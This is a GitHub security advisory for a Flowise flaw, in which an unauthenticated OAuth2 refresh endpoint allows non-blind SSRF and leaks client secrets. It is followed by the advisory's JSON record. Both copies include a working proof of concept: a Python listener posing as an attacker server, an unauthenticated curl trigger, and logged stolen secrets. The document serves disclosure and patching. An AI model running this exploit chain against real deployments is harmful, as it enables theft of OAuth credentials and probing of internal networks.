GHSA-R745-8HWV-H473
Vulnerability from github – Published: 2026-08-04 14:20 – Updated: 2026-08-04 14:20Summary
The OAuth2 token refresh endpoint (POST /api/v1/oauth2-credential/refresh/:credentialId) is unauthenticated by design (it is in the public whitelist) and performs a server-side HTTP request to a credential-controlled URL (accessTokenUrl) without SSRF protections. In runtime validation, this endpoint was reachable without auth, triggered outbound POST requests to an attacker-controlled server, and reflected the full remote response body to the caller (tokenInfo), confirming non-blind SSRF and credential secret exfiltration.
Details
The vulnerability is in dist/routes/oauth2/index.js (container runtime build), under path prefix /api/v1/oauth2-credential.
Confirmed in runtime code:
- Unauthenticated route via whitelist
dist/utils/constants.jsincludes:/api/v1/oauth2-credential/callback/api/v1/oauth2-credential/refresh
dist/index.jsauth middleware uses:const isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url))
-
Therefore
/api/v1/oauth2-credential/refresh/:credentialIdis treated as whitelisted. -
User-controlled SSRF target
- In refresh handler (
dist/routes/oauth2/index.js):- loads credential by
credentialId - decrypts credential data
- reads
accessTokenUrl - executes:
axios.post(tokenUrl, new URLSearchParams(refreshRequestData).toString(), ...)
- loads credential by
-
No
secureAxiosRequest()/ denylist wrapper is used in this path. -
Non-blind response reflection
- Response returns:
tokenInfo: { ...tokenData, ... }
-
tokenDatais the attacker/internal server response body. -
Secrets sent to SSRF target
- Request body includes:
client_idclient_secretgrant_type=refresh_tokenrefresh_token
PoC
Environment used
flowiseai/flowise:latestcontainer (localhost:3000)- Attacker server (
localhost:18081) returning JSON
Step 1: Start attacker server
python3 -u - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
class H(BaseHTTPRequestHandler):
def do_POST(self):
l = int(self.headers.get('Content-Length','0'))
b = self.rfile.read(l).decode('utf-8', errors='replace')
print('REQUEST_PATH', self.path, flush=True)
print('REQUEST_BODY', b, flush=True)
self.send_response(200)
self.send_header('Content-Type','application/json')
self.end_headers()
self.wfile.write(json.dumps({'ok': True, 'source': 'attacker-server', 'echo_len': len(b)}).encode())
def log_message(self, fmt, *args):
pass
HTTPServer(('0.0.0.0', 18081), H).serve_forever()
PY
Step 2: Create OAuth2 credential with attacker accessTokenUrl (authenticated action)
In validation, this was done via authenticated API path (credential creation requires auth/permissions), then refresh was tested publicly.
Resulting credential ID used in runtime validation:
24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef
Step 3: Trigger refresh without auth
curl -i -X POST \
http://127.0.0.1:3000/api/v1/oauth2-credential/refresh/24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef \
-H 'Content-Type: application/json' \
-d '{}'
Observed response:
{
"success": true,
"message": "OAuth2 token refreshed successfully",
"credentialId": "24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef",
"tokenInfo": {
"ok": true,
"source": "attacker-server",
"echo_len": 76,
"has_new_refresh_token": false
}
}
Attacker server logs captured:
REQUEST_PATH /token
REQUEST_BODY client_id=cid2&client_secret=csec2&grant_type=refresh_token&refresh_token=r2
This confirms:
- unauthenticated trigger,
- server-side POST to attacker-controlled URL,
- exfiltration of OAuth2 secrets in POST body,
- full response reflection to client (tokenInfo).
Impact
- Vulnerability class: Non-blind SSRF + sensitive secret exfiltration.
- Who can set up attack: Any authenticated user who can create/update OAuth2 credentials.
- Who can trigger attack: Anyone who knows a valid OAuth2 credential UUID (refresh endpoint is public/whitelisted).
- Technical impact:
- outbound SSRF to attacker/internal targets,
- direct leak of
client_secretandrefresh_tokento SSRF target, - direct response read from target via API response (
tokenInfo). - Deployment impact:
- cloud/internal network reachability can expose metadata/internal services depending on egress controls.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.2"
},
"package": {
"ecosystem": "npm",
"name": "flowise"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-69250"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-04T14:20:49Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nThe OAuth2 token refresh endpoint (`POST /api/v1/oauth2-credential/refresh/:credentialId`) is unauthenticated by design (it is in the public whitelist) and performs a server-side HTTP request to a credential-controlled URL (`accessTokenUrl`) without SSRF protections. In runtime validation, this endpoint was reachable without auth, triggered outbound POST requests to an attacker-controlled server, and reflected the full remote response body to the caller (`tokenInfo`), confirming non-blind SSRF and credential secret exfiltration.\n\n### Details\n\nThe vulnerability is in `dist/routes/oauth2/index.js` (container runtime build), under path prefix `/api/v1/oauth2-credential`.\n\nConfirmed in runtime code:\n\n1. **Unauthenticated route via whitelist**\n - `dist/utils/constants.js` includes:\n - `/api/v1/oauth2-credential/callback`\n - `/api/v1/oauth2-credential/refresh`\n - `dist/index.js` auth middleware uses:\n - `const isWhitelisted = whitelistURLs.some((url) =\u003e req.path.startsWith(url))`\n - Therefore `/api/v1/oauth2-credential/refresh/:credentialId` is treated as whitelisted.\n\n2. **User-controlled SSRF target**\n - In refresh handler (`dist/routes/oauth2/index.js`):\n - loads credential by `credentialId`\n - decrypts credential data\n - reads `accessTokenUrl`\n - executes:\n - `axios.post(tokenUrl, new URLSearchParams(refreshRequestData).toString(), ...)`\n - No `secureAxiosRequest()` / denylist wrapper is used in this path.\n\n3. **Non-blind response reflection**\n - Response returns:\n - `tokenInfo: { ...tokenData, ... }`\n - `tokenData` is the attacker/internal server response body.\n\n4. **Secrets sent to SSRF target**\n - Request body includes:\n - `client_id`\n - `client_secret`\n - `grant_type=refresh_token`\n - `refresh_token`\n\n### PoC\n\n#### Environment used\n\n- `flowiseai/flowise:latest` container (`localhost:3000`)\n- Attacker server (`localhost:18081`) returning JSON\n\n#### Step 1: Start attacker server\n\n```bash\npython3 -u - \u003c\u003c\u0027PY\u0027\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nimport json\n\nclass H(BaseHTTPRequestHandler):\n def do_POST(self):\n l = int(self.headers.get(\u0027Content-Length\u0027,\u00270\u0027))\n b = self.rfile.read(l).decode(\u0027utf-8\u0027, errors=\u0027replace\u0027)\n print(\u0027REQUEST_PATH\u0027, self.path, flush=True)\n print(\u0027REQUEST_BODY\u0027, b, flush=True)\n self.send_response(200)\n self.send_header(\u0027Content-Type\u0027,\u0027application/json\u0027)\n self.end_headers()\n self.wfile.write(json.dumps({\u0027ok\u0027: True, \u0027source\u0027: \u0027attacker-server\u0027, \u0027echo_len\u0027: len(b)}).encode())\n def log_message(self, fmt, *args):\n pass\n\nHTTPServer((\u00270.0.0.0\u0027, 18081), H).serve_forever()\nPY\n```\n\n#### Step 2: Create OAuth2 credential with attacker `accessTokenUrl` (authenticated action)\n\nIn validation, this was done via authenticated API path (credential creation requires auth/permissions), then refresh was tested publicly.\n\nResulting credential ID used in runtime validation:\n\n- `24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef`\n\n#### Step 3: Trigger refresh **without auth**\n\n```bash\ncurl -i -X POST \\\n http://127.0.0.1:3000/api/v1/oauth2-credential/refresh/24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{}\u0027\n```\n\nObserved response:\n\n```json\n{\n \"success\": true,\n \"message\": \"OAuth2 token refreshed successfully\",\n \"credentialId\": \"24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef\",\n \"tokenInfo\": {\n \"ok\": true,\n \"source\": \"attacker-server\",\n \"echo_len\": 76,\n \"has_new_refresh_token\": false\n }\n}\n```\n\nAttacker server logs captured:\n\n```text\nREQUEST_PATH /token\nREQUEST_BODY client_id=cid2\u0026client_secret=csec2\u0026grant_type=refresh_token\u0026refresh_token=r2\n```\n\nThis confirms:\n- unauthenticated trigger,\n- server-side POST to attacker-controlled URL,\n- exfiltration of OAuth2 secrets in POST body,\n- full response reflection to client (`tokenInfo`).\n\n### Impact\n\n- **Vulnerability class:** Non-blind SSRF + sensitive secret exfiltration.\n- **Who can set up attack:** Any authenticated user who can create/update OAuth2 credentials.\n- **Who can trigger attack:** Anyone who knows a valid OAuth2 credential UUID (refresh endpoint is public/whitelisted).\n- **Technical impact:**\n - outbound SSRF to attacker/internal targets,\n - direct leak of `client_secret` and `refresh_token` to SSRF target,\n - direct response read from target via API response (`tokenInfo`).\n- **Deployment impact:**\n - cloud/internal network reachability can expose metadata/internal services depending on egress controls.",
"id": "GHSA-r745-8hwv-h473",
"modified": "2026-08-04T14:20:49Z",
"published": "2026-08-04T14:20:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-r745-8hwv-h473"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/commit/da8b251a9a4c59484ceaf6f71df7406aede7bef2"
},
{
"type": "PACKAGE",
"url": "https://github.com/FlowiseAI/Flowise"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Flowise: Unauthenticated OAuth2 Refresh Enables Non-Blind SSRF and Secret Exfiltration"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.